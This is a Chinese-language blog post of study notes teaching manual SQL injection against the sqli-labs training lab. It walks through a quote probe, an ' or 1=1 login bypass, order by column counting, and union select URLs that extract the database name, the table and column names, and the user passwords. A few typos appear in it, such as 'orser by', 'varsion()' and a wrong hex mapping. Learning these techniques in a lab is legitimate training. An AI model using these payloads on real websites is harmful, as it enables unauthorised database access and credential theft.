目录
SQL注入的基本过程图
SQL注入原理及使用
SQL注入原理
SQL注入攻击:SQL注入攻击的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层和代码层注入。
apache 主要是提供web服务,做html页面
php 是程序,动态语言
mysql 用于管理数据。
用户登录:
select * from users where username='用户名' and password='密码';
用户输入可控的:'or 1=1
select * from users where username=''or 1=1 -- ' and password='';
其中1=1永远为真,所以当前SQL语句无论怎么执行,结果永远为真,--空格表示注释,注释后面所有代码不再执行。
单引号的作用:
在提交数据或URL中添加单引号进行提交,如果返回SQL错误即可判断当前位置存在SQL注入漏洞,原因是没有被过滤。
select * from users where username=''' and password='';
以上的这条语句会进行报错:
提交单引号,没有被过滤,而直接带入到数据库执行。
SQL注入的分类
SQL注入根据在注入的方式进行分类,分为以下4类:
- 布尔注入:可以根据返回内容判断,条件真假的注入。
- 联合注入:可以使用union的注入。
- 延时注入:不能根据页面返回内容判断任何信息,用条件语句查看时间延时语句是否执行(即页面返回时间是否增加)来判断。
- 报错注入:页面会返回错误信息,或者报注入语句的结果直接返回在页面中。
以上是根据常见的注入方式进行的分类,但是通常来说SQL注入只分为字符型或数字型比如:
数值型: 1 or 1 = 1
字符型: 1' or '1' = '1 需要单引号或双引号括起来的,并且执行生效了就是字符型,否则是数值型。这也是判断两者的条件。
手动SQL注入:
这里用了sqli-labs来进行讲解
打开sqli-labs,选择Less-1,然后在URL后面指定?id=1
页面正常,请求数据正常返回。
接下来,给id=1参数加一个单引号,看一下会出现什么状态。
页面返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
我们把报错的信息复制出来分析:
''1'' LIMIT 0,1'
去掉外面的单引号后:
'1'' LIMIT 0,1
注:外面的单引号是报错信息用来框柱报错的信息的
此时,报错信息是:'1'' LIMIT 0,1 ,那么在数据库里,单引号和双引号都是两两一闭合,现在多了个单引号,闭合错误,出现报错。
我现在在id=1'的后面多加一个单引号,页面正常返回信息,因为此时有四个单引号了,两两一闭合,闭合成功,所以没有出现报错。
limit主要是用于限制输入结果的数量
其语法格式:LIMIT [位置偏移量] ,取的总行数 例如:limit 3,7
举个栗子:
我只要users表的五行,执行命令
limit 5 就显示5行。
我要从第三行开始开始,显示五行
limit 2,5 :2是位置偏移量,从2后面开始显示。5是取得总行数,显示5行。
我只要第一行
limit 0,1 :从0后开始显示,显示一行
查看页面源代码
vim /var/www/html/sqli-labs/Less-1/index.php
在文件的第29行的代码,可以用:set nu 来显示行数。
按照我的想法是:id 第于几,就只显示那一行,因为limit 0,1 。例如id=6,那么页面就显示id=6的信息。
使用order by判断表中字段的数量
这里使用了一个hackbar插件,可能需自己安装一下
使用hackbar:http://192.168.0.109/sqli-labs/Less-1/?id=1' order by 3 --+
显示正常
语句变化过程:
原语句
select * from users where id='$id' limit 0,1
被注入后的语句:
select * from users where id='1' orser by 3 -- ' limit 0,1
我order by 4 试一下,发现报错了,所以只有3个字段
常见的手动sql注入闭合方式:
http://192.168.0.109/sqli-labs/Less-1/?id=1\
注:\(反斜杠)表示转义,指的是把带有特殊意义的字符或符号,转换为没有特殊含义的字符。
union 联合查询注入:
作用:把一条或多条查询语句的查询结果合并显示。
注意:多个select查询的条件字段数需要统一。
SQL union语法:
select column_name(s) from table_name1 union select column_name(s) from table_name2;
使用联合查询爆出字段前,我们需要了解union的使用方法。
union联盟
union操作符用于合并两个或者多个select语句的结果集。
注意:union内部的select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条select语句中的列的顺序必须相同。
举个栗子:
先显示users的字段和1,2 ,发现报错了,报错信息为:使用的SELECT语句的列数不同。我们在1,2 后面加上3,成功了...列的数量相同
在hackbar:
http://192.168.0.109/sqli-labs/Less-1/?id=1' union select 1,2,3 --+
页面显示了,id=1的信息,没有显示union后的信息,因为页面只有一个位置显示,所以不能显示多个信息
http://192.168.0.109/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
我们把id=1改为id=-1,主要是把原有的值改成一个表中不存在的值,让页面的显示位置来显示union后的查询。
显示出了2和3,为什么1不显示呢?因为1和id同列,所以不显示,把123的顺序换一下就可以看出来了
利用SQL注入获取数据库的名称:
http://192.168.0.109/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+
在2的位置上填入database()来获取数据库名
在数据库执行:
mysql的其他函数(这里写了常用的)
varsion() #mysql版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
注:查询mysql以外的要加两个@。
获取security数据库中的表
information_schema,这是mysql自带的一个元数据库,用于存储mysql的数据结构。
元数据则是用于描述数据库本身的书库,称为元数据,包含了,mysql当中有多少个数据库,这些数据库的名称是什么,每个数据库里有多少个表,具体的表名叫什么。
例:查看information_schema库中tables表中table_schema等于security的相关信息。
说明:
information_schema库中的tables表的字段解释:
table_schema #该字段存储数据库名;
table_name #该字段存储对应数据库中的包括表名。
information_schema 主要是用于存放mysql的元数据。
tables表:主要是记录mysql当中的所有库及所有表,该表的字段table_schema(用于记录库名)table_name(用于记录表名)。
select table_schema,table_name from information_schema.tables where table_schema='security';
columns表:主要是用于记录库中的表,表中的字段。该表的字段table_schema(用于记录库名),table_name(用于记录表名),olumn_name(用于记录字段名)
select table_schema,table_name,column_name from information_schema.columns where table_name='users' and table_schema='security';
group_concat()
该函数功能:将where条件匹配到的多条记录接连成一个字符串。
这里把table_name(即表名)连接成一个字符串。
select group_concat(table_name) from information_schema.tables where table_schema='security';
这在只有一个回显位置时,是非常好用的
例如:
http://192.168.0.109/sqli-labs/Less-1/?id=-1' union select 1,4,group_concat(table_name) from information_schema.tables where table_schema='security' --+
获取表中的字段
information_schema元数据库下的columns表,主要是用于存放mysql中的所有表中的字段及类型。
http://192.168.0.109/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' and table_schema='security'--+
获取用户名及密码
得知库名称为:security,此库中有users表,users表中的字段id,username,password
select group_concat(username,0x3a,password) from users;
说明:
0x3a:0x 十六进制的标志符,0x3a在ASCII码表示:冒号
在hackbar:
http://192.168.0.109/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+
输出是一条的太长了,看起来很麻烦
加上换行符:
http://192.168.0.109/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from users--+
每个id都一行一行的排好
说明:
换行符为<hr/>,0x3a是<;0x68是h;0x72是r;0x2F是/;0x3E是> 。拼起来就是<hr/>
<hr/>是html的代码,所以可以在网页上执行。
这个sql2在草稿箱呆了很久,今天终于搞定...
这是我的学习笔记,不懂的可以私信问哦